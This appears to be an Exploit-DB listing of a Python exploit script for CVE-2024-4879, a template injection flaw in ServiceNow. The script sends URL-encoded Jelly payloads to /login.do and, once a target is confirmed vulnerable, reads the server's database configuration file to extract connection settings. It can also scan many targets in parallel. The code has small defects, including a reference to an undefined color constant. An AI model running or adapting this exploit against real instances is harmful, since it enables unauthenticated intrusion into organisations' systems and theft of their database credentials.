ServiceNow Multiple Versions - Input Validation & Template Injection

EDB-ID:

52410




Platform:

Multiple

Date:

2025-08-11


#!/usr/bin/env python3
"""
# Title : ServiceNow Multiple Versions - Input Validation & Template Injection
# Date: 2025-01-31
# Author: ibrahimsql
# Vendor: ServiceNow
# Version: Vancouver, Washington DC, Utah (various patches)
# affected from 0 before Utah Patch 10 Hot Fix 3 
# affected from 0 before Utah Patch 10a Hot Fix 2 
# affected from 0 before Vancouver Patch 6 Hot Fix 2 
# affected from 0 before Vancouver Patch 7 Hot Fix 3b 
# affected from 0 before Vancouver Patch 8 Hot Fix 4 
# affected from 0 before Vancouver Patch 9 
# affected from 0 before Vancouver Patch 10 
# affected from 0 before Washington DC Patch 1 Hot Fix 2b 
# affected from 0 before Washington DC Patch 2 Hot Fix 2 
# affected from 0 before Washington DC Patch 3 Hot Fix 1 
# affected from 0 before Washington DC Patch 4
# Tested on: ServiceNow Platform
# CVE: CVE-2024-4879
# Category: Input Validation
# CVSS Score: 9.8 (Critical)
# CWE: CWE-20 (Improper Input Validation)

# Description:
# ServiceNow Platform contains an input validation vulnerability that allows
# unauthenticated remote code execution. The vulnerability affects Vancouver,
# Washington DC, and Utah releases of the Now Platform.

# Impact:
# - Unauthenticated remote code execution
# - Complete system compromise
# - Data exfiltration
# - Service disruption

# Requirements:
# - requests>=2.25.1
# - colorama>=0.4.4
# - urllib3

# Usage:
# python3 CVE-2024-4879.py -t https://target.service-now.com
# python3 CVE-2024-4879.py -f targets.txt
"""

from colorama import Fore, Style, init
import requests
import argparse
import urllib3
import concurrent.futures
import sys
import re
from urllib.parse import urlparse

# Initialize colorama
init(autoreset=True)

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Colors:
    RED = Fore.RED
    GREEN = Fore.GREEN
    YELLOW = Fore.YELLOW
    BLUE = Fore.BLUE
    WHITE = Fore.WHITE
    CYAN = Fore.CYAN
    MAGENTA = Fore.MAGENTA
    RESET = Style.RESET_ALL

banner = f"""
{Colors.CYAN}
 ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗      ██╗  ██╗ █████╗ ███████╗ █████╗ 
██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║      ██║  ██║██╔══██╗╚════██║██╔══██╗
██║     ██║   ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████║█████╗███████║╚█████╔╝    ██╔╝╚██████║
██║     ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝╚════██║██╔══██╗   ██╔╝  ╚═══██║
╚██████╗ ╚████╔╝ ███████╗    ███████╗╚██████╔╝███████╗     ██║           ██║╚█████╔╝   ██║   █████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝    ╚══════╝ ╚═════╝ ╚══════╝     ╚═╝           ╚═╝ ╚════╝    ╚═╝   ╚════╝
{Colors.RESET}
{Colors.YELLOW}ServiceNow Platform Input Validation Vulnerability{Colors.RESET}
{Colors.WHITE}CVE-2024-4879 | CVSS: 9.8 (Critical) | Author: ibrahimsql{Colors.RESET}
"""

class ServiceNowExploit:
    def __init__(self, timeout=10, verbose=False):
        self.timeout = timeout
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False
        
    def _log(self, level, message, url=""):
        """Enhanced logging with colors and levels"""
        timestamp = "[*]"
        if level == "success":
            print(f"{Colors.GREEN}[+]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "error":
            print(f"{Colors.RED}[-]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "warning":
            print(f"{Colors.YELLOW}[!]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "info":
            print(f"{Colors.BLUE}[*]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
        elif level == "verbose" and self.verbose:
            print(f"{Colors.CYAN}[V]{Colors.RESET} {message} {Colors.WHITE}{url}{Colors.RESET}")
    
    def validate_url(self, url):
        """Validate and normalize URL format"""
        if not url.startswith(('http://', 'https://')):
            url = f"https://{url}"
        
        try:
            parsed = urlparse(url)
            if not parsed.netloc:
                return None
            return url
        except Exception:
            return None
    
    def check_target_reachability(self, url):
        """Check if target is reachable"""
        try:
            response = self.session.get(url, timeout=self.timeout)
            if response.status_code == 200:
                self._log("info", "Target is reachable", url)
                return True
            else:
                self._log("warning", f"Target returned status {response.status_code}", url)
                return False
        except requests.exceptions.RequestException as e:
            self._log("error", f"Target unreachable: {str(e)}", url)
            return False
    
    def exploit_vulnerability(self, url):
        """Main exploit function for CVE-2024-4879"""
        try:
            # Normalize URL
            url = self.validate_url(url)
            if not url:
                self._log("error", "Invalid URL format")
                return False
            
            # Check reachability first
            if not self.check_target_reachability(url):
                return False
            
            # Construct the exploit payload
            exploit_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Egs.addErrorMessage(668.5*2);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
            exploit_url = f"{url}{exploit_path}"
            
            self._log("info", "Testing for CVE-2024-4879 vulnerability", url)
            
            # Send exploit request
            response = self.session.get(exploit_url, timeout=self.timeout)
            
            if self.verbose:
                self._log("verbose", f"Response status: {response.status_code}")
                self._log("verbose", f"Response length: {len(response.text)}")
            
            # Check for vulnerability indicator
            if response.status_code == 200 and "1337" in response.text:
                self._log("success", "VULNERABLE - CVE-2024-4879 confirmed!", url)
                
                # Attempt to extract sensitive information
                info_path = "/login.do?jvar_page_title=%3Cstyle%3E%3Cj:jelly%20xmlns:j=%22jelly:core%22%20xmlns:g=%27glide%27%3E%3Cg:evaluate%3Ez=new%20Packages.java.io.File(%22%22).getAbsolutePath();z=z.substring(0,z.lastIndexOf(%22/%22));u=new%20SecurelyAccess(z.concat(%22/conf/glide.db.properties%22)).getBufferedReader();s=%22%22;while((q=u.readLine())!==null)s=s.concat(q,%22%5Cn%22);gs.addErrorMessage(s);%3C/g:evaluate%3E%3C/j:jelly%3E%3C/style%3E"
                info_url = f"{url}{info_path}"
                
                try:
                    info_response = self.session.get(info_url, timeout=self.timeout)
                    if info_response.status_code == 200:
                        self._log("success", "Database configuration extracted!")
                        if self.verbose:
                            print(f"\n{Colors.YELLOW}=== Database Configuration ==={Colors.RESET}")
                            # Extract and display configuration data
                            config_data = self._extract_config_data(info_response.text)
                            if config_data:
                                print(config_data)
                            print(f"{Colors.YELLOW}================================{Colors.RESET}\n")
                except Exception as e:
                    self._log("warning", f"Failed to extract configuration: {str(e)}")
                
                return True
            else:
                self._log("error", "Not vulnerable or payload failed", url)
                return False
                
        except requests.exceptions.Timeout:
            self._log("warning", "Connection timeout", url)
            return False
        except requests.exceptions.ConnectionError:
            self._log("error", "Connection failed", url)
            return False
        except Exception as e:
            self._log("error", f"Unexpected error: {str(e)}", url)
            return False
    
    def _extract_config_data(self, response_text):
        """Extract configuration data from response"""
        try:
            # Look for database configuration patterns
            patterns = [
                r'glide\.db\..*?=.*',
                r'jdbc\..*?=.*',
                r'database\..*?=.*'
            ]
            
            extracted_data = []
            for pattern in patterns:
                matches = re.findall(pattern, response_text, re.IGNORECASE)
                extracted_data.extend(matches)
            
            return '\n'.join(extracted_data) if extracted_data else None
        except Exception:
            return None

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-4879 ServiceNow Platform Input Validation Vulnerability Scanner",
        epilog="Examples:\n  python3 CVE-2024-4879.py -t https://target.service-now.com\n  python3 CVE-2024-4879.py -f targets.txt -v",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    
    parser.add_argument('-t', '--target', help="Single target to scan")
    parser.add_argument('-f', '--file', help="File containing list of targets")
    parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose output")
    parser.add_argument('--timeout', type=int, default=10, help="Request timeout in seconds (default: 10)")
    parser.add_argument('--threads', type=int, default=10, help="Number of threads for concurrent scanning (default: 10)")
    
    args = parser.parse_args()
    
    if not args.target and not args.file:
        parser.print_help()
        sys.exit(1)
    
    print(banner)
    
    try:
        exploit = ServiceNowExploit(timeout=args.timeout, verbose=args.verbose)
        
        if args.target:
            exploit.exploit_vulnerability(args.target)
        
        if args.file:
            try:
                with open(args.file, 'r') as f:
                    targets = [line.strip() for line in f.readlines() if line.strip()]
                
                print(f"{Colors.INFO}[*]{Colors.RESET} Scanning {len(targets)} targets with {args.threads} threads...\n")
                
                with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
                    executor.map(exploit.exploit_vulnerability, targets)
                    
            except FileNotFoundError:
                print(f"{Colors.RED}[-]{Colors.RESET} File not found: {args.file}")
                sys.exit(1)
            except Exception as e:
                print(f"{Colors.RED}[-]{Colors.RESET} Error reading file: {str(e)}")
                sys.exit(1)
    
    except KeyboardInterrupt:
        print(f"\n{Colors.YELLOW}[!]{Colors.RESET} Scan interrupted by user")
        sys.exit(0)
    except Exception as e:
        print(f"{Colors.RED}[-]{Colors.RESET} Unexpected error: {str(e)}")
        sys.exit(1)

if __name__ == "__main__":
    main()